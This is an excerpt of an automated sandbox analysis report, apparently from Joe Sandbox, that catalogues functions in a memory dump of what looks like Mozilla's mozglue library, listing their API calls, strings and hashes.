Opcode ID: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction ID: 74aece96fda5623bc8688944c29c6a797c44acc8eec3979e0743e9e3e39b448e
Opcode Fuzzy Hash: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction Fuzzy Hash: 18617E755086419FC715CF58C88059AB3F5FFC8328F54865DE8A99B602EB32E986CFC2

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5FC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5FC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5FC842

Part of subcall function 6C5FCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C61B5EB,00000000), ref: 6C5FCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5FC863
std::_Facet_Register.LIBCPMT ref: 6C5FC875

Part of subcall function 6C5DB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C61B636,?), ref: 6C5DB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5FC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FC8BC

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction ID: 638bb263159ba921fc3deb8abe963efe96c466e93e2d62a016edb220d9f0fc37
Opcode Fuzzy Hash: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction Fuzzy Hash: 12118171B002099BCB04EFA6CCC48EE7BB5EF89354F040529E51697340DB34A909CB99

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C5EE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE04F

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5EE057

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction ID: 311f705e782029e37bc71f3de8ce26da2f858949bb1ab0098b31701e244e8fef
Opcode Fuzzy Hash: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction Fuzzy Hash: D1218EB4B002189FDF04DF65DC98AEEB7B5AF89208F144428E90A97740DB75AD09CBE5

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

kernel32.dll, xrefs: 6C607557
UnmapViewOfFile2, xrefs: 6C607552

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770,-00000001,?,6C61E330,?,6C5CBDF7), ref: 6C60A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5CBDF7), ref: 6C60A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5CBDF7), ref: 6C60A7E4
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A80A

Strings

accelerator.dll, xrefs: 6C60A7BF

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction ID: 5cef88f43186b395a0e474526579395594c13a309dd8d023756b0032bba4bb40
Opcode Fuzzy Hash: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction Fuzzy Hash: D301A2707103149FDB08CF5AE8C4D5177B8FB8A395B04806AE94A9B712DB70AC00CFA9

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

RtlNtStatusToDosError, xrefs: 6C6075D1
ntdll.dll, xrefs: 6C6075B3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

NtUnmapViewOfSection, xrefs: 6C607621
ntdll.dll, xrefs: 6C607603

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5F27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F289A
free.MOZGLUE(?,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F2910
free.MOZGLUE(00000001,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F294E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction ID: bf0f97ffe9af2523b645ed8506169aaf78dee140e16a178df6ecb71f315f4a7b
Opcode Fuzzy Hash: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction Fuzzy Hash: 7941CEF1A002468BEB18CF68DC8436A77F6AB45308F244929D566EB740E731E946CF92

Function 6C5ACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5AD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5AD139

Strings

MOZ_CRASH(), xrefs: 6C5AD187

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction ID: 369405952f0bc1f4f4d222e6460ad6f6a41bac1ebe5f3cc108a06a2e287e30c3
Opcode Fuzzy Hash: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction Fuzzy Hash: 7241AE31B402168FDB04DEBE8CD03AE76A4EB49750F140139EE58E7784E7A998018BC9

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C60A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770), ref: 6C60A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A87B

Part of subcall function 6C60A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C60A88F,00000000), ref: 6C60A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C60A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A90C
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A97E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction ID: e8bf8b976c3cfef6700ccf7d4327f7eafff02a508b5e6acea714a64f3b2707c6
Opcode Fuzzy Hash: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction Fuzzy Hash: B241B2B0E006049FDB04DFA8D885BDEB770FF05324F108629E826AB791D7359945CB99

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
